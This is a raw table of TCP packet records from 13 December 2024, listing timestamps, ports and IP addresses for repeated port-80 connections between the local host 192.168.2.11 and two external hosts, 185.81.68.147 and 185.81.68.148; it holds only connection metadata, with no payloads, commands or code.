Dec 13, 2024 08:22:14.262542009 CET	50177	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:14.275767088 CET	80	50174	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:14.382738113 CET	80	50177	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:14.382832050 CET	50177	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:14.382893085 CET	50177	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:14.502758980 CET	80	50177	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:14.502810001 CET	50177	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:14.621586084 CET	49968	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:14.622580051 CET	80	50177	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:14.715440989 CET	49969	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:14.876646996 CET	80	50175	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:14.876739979 CET	50175	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:14.893364906 CET	80	50176	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:14.893465996 CET	50176	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:15.512212992 CET	49977	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:15.809314013 CET	49972	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:15.834300041 CET	80	50177	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:15.834319115 CET	80	50177	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:15.834420919 CET	50177	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:15.835855007 CET	50177	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:15.918502092 CET	49982	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:15.918504000 CET	49978	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:15.950395107 CET	50178	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:15.955579042 CET	80	50177	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:16.070202112 CET	80	50178	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:16.070486069 CET	50178	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:16.070486069 CET	50178	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:16.190535069 CET	80	50178	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:16.190671921 CET	50178	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:16.310600042 CET	80	50178	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:16.669714928 CET	50176	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:16.670043945 CET	50179	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:16.670181036 CET	50175	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:16.670445919 CET	50180	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:16.790318012 CET	80	50179	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:16.790338039 CET	80	50176	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:16.790473938 CET	50176	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:16.790576935 CET	80	50180	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:16.790631056 CET	50179	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:16.790633917 CET	50180	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:16.790673971 CET	80	50175	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:16.790730000 CET	50175	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:16.795777082 CET	50179	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:16.795908928 CET	50180	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:16.915544033 CET	80	50179	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:16.915560007 CET	80	50180	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:17.677285910 CET	80	50178	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:17.677383900 CET	80	50178	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:17.677486897 CET	50178	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:17.678673983 CET	50178	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:17.793803930 CET	50181	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:17.798398972 CET	80	50178	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:17.913549900 CET	80	50181	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:17.913650036 CET	50181	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:17.913678885 CET	50181	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:18.033710957 CET	80	50181	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:18.035407066 CET	50181	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:18.155428886 CET	80	50181	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:18.158787012 CET	80	50179	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:18.158976078 CET	50179	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:18.159120083 CET	80	50180	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:18.159288883 CET	50180	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:19.539098978 CET	80	50181	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:19.539258003 CET	80	50181	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:19.539364100 CET	50181	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:19.540494919 CET	50181	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:19.653309107 CET	50182	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:19.660557985 CET	80	50181	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:19.773436069 CET	80	50182	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:19.773542881 CET	50182	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:19.773605108 CET	50182	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:19.865516901 CET	50180	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:19.865741014 CET	50183	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:19.865859985 CET	50179	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:19.866148949 CET	50184	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:19.893589973 CET	80	50182	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:19.893659115 CET	50182	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:19.985531092 CET	80	50183	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:19.985630989 CET	50183	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:19.985826969 CET	80	50180	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:19.985889912 CET	50180	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:19.986161947 CET	80	50184	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:19.986234903 CET	50184	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:19.986284018 CET	80	50179	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:19.986350060 CET	50179	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:20.007838011 CET	50183	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:20.007839918 CET	50184	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:20.013586044 CET	80	50182	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:20.127979040 CET	80	50183	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:20.128026962 CET	80	50184	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:21.213246107 CET	80	50182	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:21.213344097 CET	80	50182	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:21.213428020 CET	50182	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:21.214757919 CET	50182	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:21.324668884 CET	80	50183	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:21.324757099 CET	50183	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:21.325099945 CET	50185	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:21.330708981 CET	80	50184	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:21.330796957 CET	50184	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:21.334403992 CET	80	50182	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:21.444871902 CET	80	50185	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:21.445012093 CET	50185	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:21.445080996 CET	50185	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:21.564901114 CET	80	50185	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:21.565032005 CET	50185	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:21.684818983 CET	80	50185	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:22.889180899 CET	50184	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:22.889439106 CET	50186	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:22.892234087 CET	50183	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:22.892432928 CET	50187	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:23.009270906 CET	80	50186	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:23.009391069 CET	50186	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:23.009524107 CET	80	50184	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:23.009584904 CET	50184	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:23.012190104 CET	80	50187	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:23.012223959 CET	80	50183	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:23.012263060 CET	50187	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:23.012305975 CET	50183	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:23.030854940 CET	50186	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:23.031090975 CET	50187	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:23.053111076 CET	80	50185	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:23.053148031 CET	80	50185	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:23.053257942 CET	50185	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:23.054589987 CET	50185	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:23.150907040 CET	80	50186	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:23.150954962 CET	80	50187	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:23.168869972 CET	50188	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:23.174365044 CET	80	50185	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:23.288899899 CET	80	50188	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:23.289016962 CET	50188	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:23.289083004 CET	50188	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:23.409555912 CET	80	50188	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:23.409636021 CET	50188	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:23.529656887 CET	80	50188	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:24.231026888 CET	49968	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:24.324745893 CET	49969	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:24.361773014 CET	80	50186	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:24.361888885 CET	50186	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:24.382711887 CET	80	50187	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:24.382802010 CET	50187	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:24.740657091 CET	80	50188	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:24.740833998 CET	80	50188	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:24.740906954 CET	50188	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:24.742172003 CET	50188	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:24.857181072 CET	50189	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:24.861932993 CET	80	50188	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:24.977138042 CET	80	50189	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:24.977314949 CET	50189	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:24.979557037 CET	50189	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:25.099391937 CET	80	50189	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:25.099474907 CET	50189	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:25.219492912 CET	80	50189	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:25.418454885 CET	49972	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:25.621695042 CET	49982	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:26.101993084 CET	50186	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:26.102252960 CET	50190	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:26.121604919 CET	49977	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:26.131814003 CET	50187	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:26.132114887 CET	50191	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:26.221951962 CET	80	50190	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:26.222039938 CET	50190	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:26.222121954 CET	80	50186	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:26.222171068 CET	50186	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:26.248346090 CET	50190	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:26.251831055 CET	80	50191	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:26.251948118 CET	50191	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:26.251971960 CET	80	50187	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:26.252022982 CET	50187	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:26.254205942 CET	50191	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:26.368158102 CET	80	50190	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:26.374038935 CET	80	50191	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:26.599565983 CET	80	50189	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:26.599647045 CET	80	50189	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:26.599724054 CET	50189	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:26.601069927 CET	50189	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:26.621659040 CET	49978	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:26.715708017 CET	50192	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:26.720813036 CET	80	50189	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:26.835786104 CET	80	50192	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:26.835930109 CET	50192	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:26.836035013 CET	50192	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:26.956270933 CET	80	50192	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:26.956418991 CET	50192	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:27.076349974 CET	80	50192	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:27.564786911 CET	80	50190	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:27.564928055 CET	50190	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:27.598795891 CET	80	50191	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:27.598875999 CET	50191	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:28.312233925 CET	80	50192	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:28.312294006 CET	80	50192	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:28.312352896 CET	50192	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:28.313662052 CET	50192	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:28.418859959 CET	50193	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:28.433949947 CET	80	50192	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:28.538814068 CET	80	50193	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:28.538933039 CET	50193	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:28.539021969 CET	50193	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:28.658981085 CET	80	50193	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:28.659132004 CET	50193	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:28.778938055 CET	80	50193	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:29.169118881 CET	50190	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:29.169442892 CET	50194	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:29.289657116 CET	80	50194	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:29.289691925 CET	80	50190	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:29.289807081 CET	50190	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:29.289818048 CET	50194	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:29.295838118 CET	50191	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:29.296173096 CET	50195	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:29.296267986 CET	50194	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:29.416256905 CET	80	50191	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:29.416304111 CET	80	50195	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:29.416335106 CET	80	50194	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:29.416358948 CET	50191	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:29.416426897 CET	50195	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:29.418045044 CET	50195	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:29.539961100 CET	80	50195	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:30.152312994 CET	80	50193	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:30.152364016 CET	80	50193	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:30.152426004 CET	50193	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:30.157269001 CET	50193	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:30.262751102 CET	50196	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:30.277157068 CET	80	50193	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:30.382775068 CET	80	50196	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:30.382889986 CET	50196	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:30.382977962 CET	50196	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:30.503459930 CET	80	50196	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:30.503707886 CET	50196	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:30.623744965 CET	80	50196	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:30.646424055 CET	80	50194	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:30.646658897 CET	50194	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:30.784956932 CET	80	50195	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:30.785079956 CET	50195	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:31.907249928 CET	80	50196	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:31.907321930 CET	80	50196	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:31.907402039 CET	50196	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:31.908740997 CET	50196	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:32.012638092 CET	50197	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:32.028459072 CET	80	50196	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:32.132678986 CET	80	50197	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:32.132802010 CET	50197	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:32.132873058 CET	50197	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:32.252701998 CET	80	50197	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:32.252841949 CET	50197	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:32.372790098 CET	80	50197	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:32.450620890 CET	50194	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:32.451031923 CET	50198	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:32.559654951 CET	50195	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:32.559935093 CET	50199	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:32.571579933 CET	80	50198	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:32.571702957 CET	50198	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:32.571707964 CET	80	50194	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:32.571768045 CET	50194	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:32.599850893 CET	50198	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:32.679735899 CET	80	50199	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:32.679836988 CET	80	50195	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:32.679883957 CET	50199	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:32.679914951 CET	50195	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:32.694523096 CET	50199	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:32.719775915 CET	80	50198	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:32.814289093 CET	80	50199	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:33.591042042 CET	80	50197	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:33.591284037 CET	80	50197	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:33.591382027 CET	50197	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:33.619153976 CET	50197	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:33.734551907 CET	50200	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:33.739010096 CET	80	50197	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:33.854444981 CET	80	50200	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:33.854538918 CET	50200	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:33.854614973 CET	50200	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:33.909085035 CET	80	50198	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:33.909182072 CET	50198	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:33.974375010 CET	80	50200	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:33.974440098 CET	50200	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:34.050211906 CET	80	50199	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:34.050270081 CET	50199	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:34.094352961 CET	80	50200	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:35.478657007 CET	80	50200	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:35.478676081 CET	80	50200	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:35.478745937 CET	50200	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:35.480063915 CET	50200	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:35.509355068 CET	50198	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:35.509645939 CET	50201	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:35.590735912 CET	50202	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:35.600069046 CET	80	50200	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:35.629390955 CET	80	50201	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:35.630779982 CET	80	50198	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:35.630965948 CET	50198	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:35.631309986 CET	50201	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:35.631544113 CET	50199	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:35.631716967 CET	50201	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:35.631874084 CET	50203	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:35.710556030 CET	80	50202	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:35.711287975 CET	50202	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:35.711349964 CET	50202	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:35.751836061 CET	80	50201	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:35.752108097 CET	80	50203	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:35.752222061 CET	50203	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:35.752419949 CET	80	50199	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:35.752480030 CET	50199	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:35.770097017 CET	50203	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:35.831403971 CET	80	50202	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:35.831473112 CET	50202	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:35.892395973 CET	80	50203	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:35.952003002 CET	80	50202	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:37.002163887 CET	80	50201	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:37.002260923 CET	50201	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:37.112566948 CET	80	50203	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:37.112935066 CET	50203	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:37.160969019 CET	80	50202	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:37.161065102 CET	80	50202	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:37.161139965 CET	50202	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:37.162410975 CET	50202	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:37.278384924 CET	50204	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:37.282119989 CET	80	50202	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:37.398674011 CET	80	50204	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:37.398787975 CET	50204	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:37.398993969 CET	50204	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:37.518855095 CET	80	50204	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:37.518945932 CET	50204	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:37.638736010 CET	80	50204	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:38.686886072 CET	50201	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:38.698688030 CET	50205	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:38.807504892 CET	80	50201	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:38.807631016 CET	50201	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:38.818367004 CET	80	50205	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:38.818509102 CET	50205	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:38.821105957 CET	50205	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:38.831624985 CET	50203	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:38.831890106 CET	50206	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:38.940792084 CET	80	50205	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:38.951694965 CET	80	50206	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:38.951788902 CET	50206	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:38.951945066 CET	80	50203	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:38.951992989 CET	50203	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:38.952864885 CET	50206	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:39.024214029 CET	80	50204	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:39.024338961 CET	80	50204	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:39.024457932 CET	50204	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:39.025738001 CET	50204	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:39.072571039 CET	80	50206	185.81.68.147	192.168.2.11
